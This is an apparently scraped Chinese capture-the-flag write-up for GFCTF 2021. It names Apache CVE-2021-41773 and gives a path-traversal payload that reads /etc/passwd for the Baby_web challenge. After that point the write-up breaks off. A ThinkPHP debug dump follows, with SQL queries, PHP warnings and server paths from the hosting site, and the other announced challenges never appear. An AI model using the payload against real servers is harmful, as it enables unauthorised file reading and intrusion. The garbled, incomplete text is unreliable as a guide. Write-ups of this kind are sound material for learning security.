2021GFCTF

Z3eyOnd 发布时间：2022-07-07 14:02:01 ，浏览量：15

文章目录

- 复现环境
- GFCTF 2021 Baby_web
- - 考点
  - wp
- GFCTF 2021 文件查看器
- - 考点
  - wp
- GFCTF 2021 ez_calc

复现环境

https://www.ctfer.vip/problem

GFCTF 2021 Baby_web 考点

Apache 2.4.49的一个目录穿越的cve漏洞
利用exec外带命令执行

看到Apache的版本号是2.4.49，相信很多小伙伴已经意识到前段时间爆出来的CVE-2021-41773

payload

/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

拿到源码

index.php


    
        
        
        
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	    基本
        文件
        流程
        错误
        SQL
        调试
    

		    
    
	请求信息 : 2025-07-01 18:33:03 HTTP/2.0 GET : /home/article/detail/id/439070
运行时间 : 0.1114s ( Load:0.0311s Init:0.0033s Exec:0.0552s Template:0.0219s )
吞吐率 : 8.98req/s
内存开销 : 1,969.28 kb
查询信息 : 16 queries 0 writes 
文件加载 : 36
缓存信息 : 5 gets 0 writes 
配置加载 : 132
会话信息 : SESSION_ID=093cg521d4pa1b8dlvdm0frtp2
    
    
        
    
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	[ app_init ] --START--
Run Behavior\BuildLiteBehavior [ RunTime:0.000030s ]
[ app_init ] --END-- [ RunTime:0.000170s ]
[ app_begin ] --START--
Run Behavior\ReadHtmlCacheBehavior [ RunTime:0.001288s ]
[ app_begin ] --END-- [ RunTime:0.001387s ]
[ view_parse ] --START--
[ template_filter ] --START--
Run Behavior\ContentReplaceBehavior [ RunTime:0.000098s ]
[ template_filter ] --END-- [ RunTime:0.000185s ]
Run Behavior\ParseTemplateBehavior [ RunTime:0.017449s ]
[ view_parse ] --END-- [ RunTime:0.017550s ]
[ view_filter ] --START--
Run Behavior\WriteHtmlCacheBehavior [ RunTime:0.000448s ]
[ view_filter ] --END-- [ RunTime:0.000474s ]
[ app_end ] --START--
    
    
        
    
	[2] session_save_path(): open_basedir restriction in effect. File(/var/lib/php/session) is not within the allowed path(s): (/www/wwwroot/www.chaojiit.com/:/tmp/) /www/wwwroot/www.chaojiit.com/ThinkPHP/Common/functions.php 第 1239 行.
[8192] Array and string offset access syntax with curly braces is deprecated /www/wwwroot/www.chaojiit.com/ThinkPHP/Library/Think/Cache/Driver/File.class.php 第 59 行.
[8] Undefined variable: user /www/wwwroot/www.chaojiit.com/Application/Runtime/Cache/Home/3c8a1a47a3534a7b1252c226abfc3928.php 第 35 行.
[8] Undefined variable: user /www/wwwroot/www.chaojiit.com/Application/Runtime/Cache/Home/3c8a1a47a3534a7b1252c226abfc3928.php 第 140 行.
[8] Trying to access array offset on value of type null /www/wwwroot/www.chaojiit.com/Application/Runtime/Cache/Home/3c8a1a47a3534a7b1252c226abfc3928.php 第 140 行.
[8] Undefined variable: user /www/wwwroot/www.chaojiit.com/Application/Runtime/Cache/Home/3c8a1a47a3534a7b1252c226abfc3928.php 第 141 行.
[8] Trying to access array offset on value of type null /www/wwwroot/www.chaojiit.com/Application/Runtime/Cache/Home/3c8a1a47a3534a7b1252c226abfc3928.php 第 141 行.
[8] Undefined variable: pinglun_list /www/wwwroot/www.chaojiit.com/Application/Runtime/Cache/Home/3c8a1a47a3534a7b1252c226abfc3928.php 第 150 行.
[8] Undefined variable: top_list /www/wwwroot/www.chaojiit.com/Application/Runtime/Cache/Home/3c8a1a47a3534a7b1252c226abfc3928.php 第 185 行.
    
    
        
    
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SELECT `value` FROM `configuration` WHERE `name` = 'site_name' LIMIT 1   [ RunTime:0.0006s ]
SHOW COLUMNS FROM `menu` [ RunTime:0.0013s ]
SELECT * FROM `menu` WHERE `fid` = 0 AND `status` = 1  [ RunTime:0.0005s ]
SELECT * FROM `menu` WHERE `fid` = 1 AND `status` = 1  [ RunTime:0.0004s ]
SELECT * FROM `menu` WHERE `fid` = 2 AND `status` = 1  [ RunTime:0.0007s ]
SELECT * FROM `menu` WHERE `fid` = 3 AND `status` = 1  [ RunTime:0.0004s ]
SELECT * FROM `menu` WHERE `fid` = 4 AND `status` = 1  [ RunTime:0.0006s ]
SHOW COLUMNS FROM `article` [ RunTime:0.0017s ]
SELECT * FROM `article` WHERE `id` = 439070 LIMIT 1   [ RunTime:0.0006s ]
SHOW COLUMNS FROM `bloger` [ RunTime:0.0016s ]
SELECT * FROM `bloger` WHERE `id` = 808 LIMIT 1   [ RunTime:0.0007s ]
SELECT COUNT(*) AS tp_count FROM `article` WHERE `bloger_id` = 808 LIMIT 1   [ RunTime:0.0006s ]
SHOW COLUMNS FROM `article_content` [ RunTime:0.0008s ]
SELECT `content` FROM `article_content` WHERE `article_id` = 439070 LIMIT 1   [ RunTime:0.0151s ]
SELECT * FROM `article` WHERE `bloger_id` = 808 ORDER BY view_count desc LIMIT 0,10   [ RunTime:0.0019s ]
    
    
        
    
	    
    
    



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